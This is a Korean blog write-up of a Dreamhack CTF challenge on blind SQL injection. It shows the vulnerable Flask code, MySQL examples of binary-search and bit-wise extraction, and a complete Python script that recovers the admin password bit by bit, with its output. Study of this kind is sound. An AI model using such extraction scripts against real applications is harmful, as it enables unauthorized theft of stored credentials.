촉촉한초코칩

Dreamhack - blind sql injection advanced 본문

Study/Web Hacking

Dreamhack - blind sql injection advanced

햄친구베이컨 2024. 9. 29. 20:55

 

코드

import os
from flask import Flask, request, render_template_string
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'user_db')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM users WHERE uid='{{uid}}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
{% if nrows == 1%}
    <pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
'''

@app.route('/', methods=['GET'])
def index():
    uid = request.args.get('uid', '')
    nrows = 0

    if uid:
        cur = mysql.connection.cursor()
        nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")

    return render_template_string(template, uid=uid, nrows=nrows)


if __name__ == '__main__':
    app.run(host='0.0.0.0')

 

uid를 받아서 실행한 결과를 보여준다.

만약 uid로 입력된 값이 테이블에 있다면, 이미 있다고 나오고 없으면 아무것도 출력되지 않는다. 

 

CREATE DATABASE user_db CHARACTER SET utf8;
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `user_db`;
CREATE TABLE users (
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');
FLUSH PRIVILEGES;

 

users 테이블 안에 admin, guest, test가 있다. 

 

공격

1. admin만 넣으면 이미 있다고 나오기 때문에 엉뚱한 id 값을 넣고 union으로 select문을 사용해서 admin의 upw를 출력해야겠다고 생각했다. → 실패ㅎㅎ 

' union select upw from users where uid ='admin

 

2. https://dreamhack.io/lecture/courses/304 강의 보기 

Binary Search (이진탐색) : 이미 정렬된 리스트에서 임의의 값을 효율적으로 찾기 위한 알고리즘 

  1. 범위 지정 (0~100 사이의 범위 내에 한 숫자만 정답이라면, 중간 값인 50으로 지정한다.)
  2. 범위 조절 (정답이 50보다 큰지, 작은지 확인 결과에 따라 범위 다시 조정)

예시) substr 함수의 반환값을 비교하여 패스워드를 알아낸다. 
비밀번호에 포함될 수 있는 아스키에서 출력 가능한 문자 범위 : 32~126 → 패스워드의 첫번째 바이트가 79(중간값?) 보다 ㅁ큰 값인지 확인함 
P가 80이므로 결과가 참으로 나옴 
그 다음에는 80~126 범위에서 103(중간값)을 통해서 하나씩 찾아감 

select * from users where username='admin' and ascii(substr(password, 1, 1))>79;
+----------+----------+
| username | password |
+----------+----------+
| admin    | P@ssword |
+----------+----------+
1 row in set (0.00 sec)

 

Bit 연산 

ASCII : 0~127범위의 문자 표현 가능, 7개의 비트를 통해 하나의 문자를 나타냄   7개의 비트에 대해 1인지 비교하면 총 7번의 쿼리로 임의 데이터의 한 바이트를 알아낼 수 있게 됨 

예시) substr과 bin을 통해서 7번의 쿼리를 통해 한 바이트를 알아낸다. 
1010000 (1 참, 0 거짓)   (10진수) 80   P

mysql> select * from users where username='admin' and substr(bin(ord(password)),1,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin    | P@ssword |
+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where username='admin' and substr(bin(ord(password)),2,1)=1;
Empty set (0.00 sec)

mysql> select * from users where username='admin' and substr(bin(ord(password)),3,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin    | P@ssword |
+----------+----------+
1 row in set (0.01 sec)

mysql> select * from users where username='admin' and substr(bin(ord(password)),4,1)=1;
Empty set (0.00 sec)

mysql> select * from users where username='admin' and substr(bin(ord(password)),5,1)=1;
Empty set (0.00 sec)

mysql> select * from users where username='admin' and substr(bin(ord(password)),6,1)=1;
Empty set (0.00 sec)

mysql> select * from users where username='admin' and substr(bin(ord(password)),7,1)=1;
Empty set (0.00 sec)

 

 

적용 https://mnzy.tistory.com/166

1. 패스워드 길이 찾기 

문자열 인코딩에 따른 길이를 계산하기 위해서는 char_length 함수(문자열을 bytes 형태로 표현했을 때의 길이 반환) 를 사용한다. 

인코딩에 관계없이 전체 문자열을 표현하는 데에 사용되는 바이트 수를 반환하기 때문에 아스키코드로 문자열이 구성되어 있지 않다면 올바르지 않은 값을 반환할 수도 있다. 

from requests import get
 
host = "http://host3.dreamhack.games:17163/"
 
password_length = 0
while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        break
print(f"password length: {password_length}")

 

결과 -> 13

 

2. 각 문자 별 비트열 길이 찾기 

패스워드의 각 문자가 한글인지 아스키코드인지 알 수 없기 때문에 이를 판단하기 위해서는 각 문자를 비트열로 표현했을 때의 길이를 알아내야 한다. 

for i in range(1, password_length + 1):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")

 

결과 

character 1's bit length: 7
character 2's bit length: 7
character 3's bit length: 7
character 4's bit length: 24
character 5's bit length: 24
character 6's bit length: 24
character 7's bit length: 24
character 8's bit length: 24
character 9's bit length: 24
character 10's bit length: 24
character 11's bit length: 6
character 12's bit length: 6
character 13's bit length: 7

 

3. 각 문자 별 비트열 추출

패스워드 별 각 문자에 해당하는 비트열을 추출한다. 

아스키코드의 경우 최대 8번, 한글의 경오 최대 24번의 요청으로 추출할 수 있다. 

 

 

4. 비트열을 문자로 변환

추출한 비트열을 문자로 변환한다. 

password = ""
for i in range(1, password_length + 1):
    ...
    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")

 

전체 코드 

from requests import get
 
host = "http://host3.dreamhack.games:16736/"
 
password_length = 13
password = ""
for i in range(1, password_length + 1):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")
    
    bits = ""
    for j in range(1, bit_length + 1):
        query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            bits += "1"
        else:
            bits += "0"
    print(f"character {i}'s bits: {bits}")
 
    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
 
print(password)

 

character 1's bit length: 7
character 1's bits: 1000100
character 2's bit length: 7
character 2's bits: 1001000
character 3's bit length: 7
character 3's bits: 1111011
character 4's bit length: 24
character 4's bits: 111011001001110110110100
character 5's bit length: 24
character 5's bits: 111010101011001010000011
character 6's bit length: 24
character 6's bits: 111011001001110110110100
character 7's bit length: 24
character 7's bits: 111010111011100110000100
character 8's bit length: 24
character 8's bits: 111010111011000010000000
character 9's bit length: 24
character 9's bits: 111010111011001010001000
character 10's bit length: 24
character 10's bits: 111011011001100010111000
character 11's bit length: 6
character 11's bits: 100001
character 12's bit length: 6
character 12's bits: 111111
character 13's bit length: 7
character 13's bits: 1111101
DH{이것이비밀번호!?}

'Study > Web Hacking' 카테고리의 다른 글

Webhaking.kr old-18  (1) 2024.11.08
Dreamhack - Apache htaccess  (0) 2024.10.05
wargame.kr md5 password  (0) 2024.09.23
wargame.kr type confusion  (0) 2024.09.13
wargamme.kr - tmitter  (1) 2024.09.13